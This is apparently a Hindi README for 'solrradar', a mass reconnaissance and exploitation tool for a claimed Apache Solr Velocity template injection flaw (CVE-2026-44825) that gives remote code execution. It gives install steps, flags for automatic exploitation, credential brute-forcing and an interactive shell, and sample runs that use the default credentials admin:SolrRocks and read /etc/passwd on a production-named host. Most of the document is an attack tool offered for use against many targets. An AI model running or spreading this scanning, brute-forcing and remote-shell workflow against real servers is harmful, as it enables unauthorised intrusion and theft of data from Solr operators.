
☄️ Apache Solr CVE-2026-44825 के लिए बड़े पैमाने पर टोही और शोषण ढांचा — वेलोसिटी टेम्पलेट इंजेक्शन से RCE
CVE-2026-44825 Apache Solr में एक गंभीर-स्तर की भेद्यता है जो हमलावरों को Velocity template injection के माध्यम से बिना प्रमाणीकरण के Remote Code Execution (RCE) प्राप्त करने की अनुमति देती है।
Apache Solr का /select एंडपॉइंट एक wt=velocity पैरामीटर स्वीकार करता है जो उपयोगकर्ता द्वारा प्रदान किए गए Velocity टेम्पलेट्स को रेंडर करता है। जब Velocity Response Writer सक्षम होता है (या कॉन्फ़िगरेशन API के माध्यम से सक्षम किया जा सकता है), एक हमलावर एक दुर्भावनापूर्ण टेम्पलेट इंजेक्ट कर सकता है जो java.lang.Runtime.exec() को कॉल करता है, जिससे Solr प्रक्रिया के विशेषाधिकारों के साथ मनमाने सिस्टम कमांड निष्पादित होते हैं।
| वेक्टर | गंभीरता | प्रभाव |
|---|---|---|
| बिना प्रमाणीकरण RCE | 9.8 (गंभीर) | पूर्ण सिस्टम समझौता |
| प्रमाणित RCE | 8.8 (उच्च) | प्रमाणीकरण के बाद कोड निष्पादन |
| सूचना प्रकटीकरण | 5.3 (मध्यम) | कोर/संग्रह गणना |
Apache Solr प्रतिक्रिया रेंडरिंग के लिए Apache Velocity को एक वैकल्पिक टेम्पलेट इंजन के रूप में बंडल करता है। भेद्यता Solr के VelocityResponseWriter में निहित है जो उपयोगकर्ता-नियंत्रित टेम्पलेट मापदंडों को पर्याप्त स्वच्छता के बिना संसाधित करता है, जिससे Java reflection APIs का सीधा आह्वान संभव होता है:
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
| Apache Solr संस्करण | स्थिति | टिप्पणियाँ |
|---|---|---|
| 9.4.0 – 9.10.1 | 🔴 असुरक्षित | जंगल में सक्रिय शोषण |
| 10.0.0 | 🔴 असुरक्षित | प्रभावित प्रारंभिक 10.x रिलीज़ |
| 10.0.1+ | 🟢 पैच किया गया | सुधार बैकपोर्ट किया गया |
| 9.10.2+ | 🟢 पैच किया गया | पैच रिलीज़ उपलब्ध |
| ≤ 9.3.x | 🟢 प्रभावित नहीं | Velocity Response Writer मौजूद नहीं |
| 8.x (सभी) | 🟢 प्रभावित नहीं | कोई Velocity समर्थन नहीं |
नोट:
/admin/info/systemJSON प्रतिक्रिया को पार्स करके संस्करण जाँच स्वचालित रूप से की जाती है।
🔍 टोही (Reconnaissance)
|
💀 शोषण (Exploitation)
|
# रिपॉजिटरी क्लोन करें
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
# सत्यापित करें
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
केवल मानक लाइब्रेरीज़ +
requests। कोई विदेशी निर्भरता नहीं।
CVE-2026-44825 Apache Solr Scanner
-t, --target एकल लक्ष्य URL या IP[:port]
-f, --file लक्ष्यों वाली फ़ाइल (प्रति पंक्ति एक, # टिप्पणियों के लिए)
--exploit यदि असुरक्षित क्रेडेंशियल मिलते हैं तो स्वतः शोषण
--rce प्रमाणीकरण के बाद इंटरैक्टिव शेल लॉन्च करें
-u, --user Basic Auth के लिए उपयोगकर्ता नाम
-pw, --password Basic Auth के लिए पासवर्ड
-o, --output JSON आउटपुट फ़ाइल पथ (डिफ़ॉल्ट: solr_results.json)
-w, --workers समवर्ती थ्रेड की संख्या (डिफ़ॉल्ट: 30)
-T, --timeout HTTP अनुरोध टाइमआउट (सेकंड) (डिफ़ॉल्ट: 8)
# एकल लक्ष्य
python solr_scanner.py -t 192.168.1.100:8983
# कस्टम पथ के साथ एकल लक्ष्य
python solr_scanner.py -t http://example.com/solr
# फ़ाइल से सामूहिक स्कैन
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — टिप्पणियों और खाली पंक्तियों का समर्थन करता है
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR समर्थित नहीं; बाहरी उपकरण से पूर्व-विस्तार करें)
# स्कैन + यदि क्रेडेंशियल मिलते हैं तो स्वतः शोषण
python solr_scanner.py -f targets.txt --exploit
# ज्ञात क्रेडेंशियल + इंटरैक्टिव शेल
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# स्वतः ब्रूट-फोर्स + सफलता पर शेल
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Done. Total:3 | Solr:3 | Vuln:1
सभी 3 लक्ष्यों का पता चला। 9.4.1 इंस्टेंस को Basic Auth सक्षम के साथ असुरक्षित चिह्नित किया गया।
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
डिफ़ॉल्ट क्रेडेंशियल
admin:SolrRocksSolr एडमिन APIs तक पहुँच प्रदान करता है। चार संग्रह खोजे गए।
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit